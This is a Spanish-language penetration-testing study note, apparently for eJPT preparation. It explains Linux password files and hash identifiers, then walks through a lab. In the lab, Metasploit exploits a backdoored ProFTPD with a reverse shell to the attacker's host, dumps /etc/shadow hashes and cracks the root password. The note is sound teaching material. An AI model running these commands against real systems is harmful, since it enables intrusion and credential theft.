> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/dumping-y-cracking/dumpeo-y-crackeo-de-hashes-de-linux/dumpeo-y-crackeo-de-hashes-en-linux.md).

# Dumpeo y crackeo de hashes en Linux

Linux es un sistema multiusuario, lo que significa que **varios usuarios pueden acceder al sistema simultáneamente**. Aunque esto es útil, también representa **más vectores de ataque** para un atacante.

***

## 📁 Estructura de archivos de usuarios

#### `/etc/passwd`

* Contiene información básica sobre **todas las cuentas de usuario**.
* Es **legible por cualquier usuario** del sistema.
* Antes, también contenía los hashes de contraseñas, pero ahora solo muestra una `x` como marcador de posición.
* Ejemplo:

  ```bash
  user:x:1001:1001:User,,,:/home/user:/bin/bash
  ```

***

#### `/etc/shadow`

* Contiene **los hashes reales de las contraseñas**.
* Solo puede ser leído por el **usuario root**.
* Protege los hashes para evitar que usuarios comunes los obtengan.
* Ejemplo de línea:

  ```
  user:$6$abc123$zK7T...:19378:0:99999:7:::
  ```

***

## 🔢 Identificando el algoritmo de hashing

El tipo de hash utilizado se puede identificar por el **valor entre los símbolos `$`** que aparece al inicio del campo del hash.

| Valor | Algoritmo de hashing |
| ----- | -------------------- |
| `$1`  | **MD5**              |
| `$2`  | **Blowfish**         |
| `$5`  | **SHA‑256**          |
| `$6`  | **SHA‑512**          |

> 💡 Ejemplo: `$6$` indica que el hash ha sido generado usando **SHA‑512**.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/dLdDjfEEiPtBPWxxAmoY" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/pYvlbx91Xc9Lg9DoswNr" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/r6XncQNmlQ9O7LgomZsP" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado un servidor proftpd 1.3.3c ejecutándose en la máquina objetivo. Ejecutaremos el script nmap vuln para identificar la vulnerabilidad.

**Dominio:**

```
nmap --script vuln -p 21 demo.ine.local
```

<figure><img src="/files/1A5QoR5ysYSj5uZs3F5W" alt=""><figcaption></figcaption></figure>

La instalación de destino proftpd ha estado ejecutando una versión con puerta trasera.

**Paso 5:** Iniciaremos el servidor de base de datos PostgreSQL en la máquina atacante. Iniciaremos PostgreSQL para almacenar todo el botín de Metasploit y otra información confidencial de la máquina objetivo.

**Dominio:**

```
/etc/init.d/postgresql start
```

<figure><img src="/files/llrWoB9QrXqJVsgrEDir" alt=""><figcaption></figcaption></figure>

**Paso 6:** Hemos iniciado el servidor de base de datos PostgreSQL. Inicie Metasploit y explote el servidor Proftpd usando el módulo exploit/unix/ftp/proftpd\_133c\_backdoor.

Asegúrese de reemplazar LHOST con la dirección IP de la máquina atacante.

**Comandos:**

```
msfconsole -q
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS demo.ine.local
set LHOST 192.70.114.2
exploit -z
```

<figure><img src="/files/QKeV72UfgUfB8YOMa1Vc" alt=""><figcaption></figcaption></figure>

**Paso 7:** Hemos explotado el servidor FTP objetivo. Utilizaremos un módulo de postexplotación para volcar los hashes de los usuarios del sistema.

**Comandos:**

```
use post/linux/gather/hashdump
set SESSION 1
exploit
```

<figure><img src="/files/TBaZ3bvKnTUFA9Oh6bBq" alt=""><figcaption></figcaption></figure>

**Paso 8:** Ejecute el módulo auxiliar proporcionado para encontrar la contraseña de texto simple del usuario root.

**Dominio:**

```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```

<figure><img src="/files/2FS7NmqbeQzbgp2LUBdA" alt=""><figcaption></figcaption></figure>

Esto nos revela la bandera.

**Bandera:** password

#### Conclusión

En este laboratorio, explotamos una aplicación vulnerable, realizamos un volcado de hash y también desciframos el hash, todo mediante módulos de metasploit.
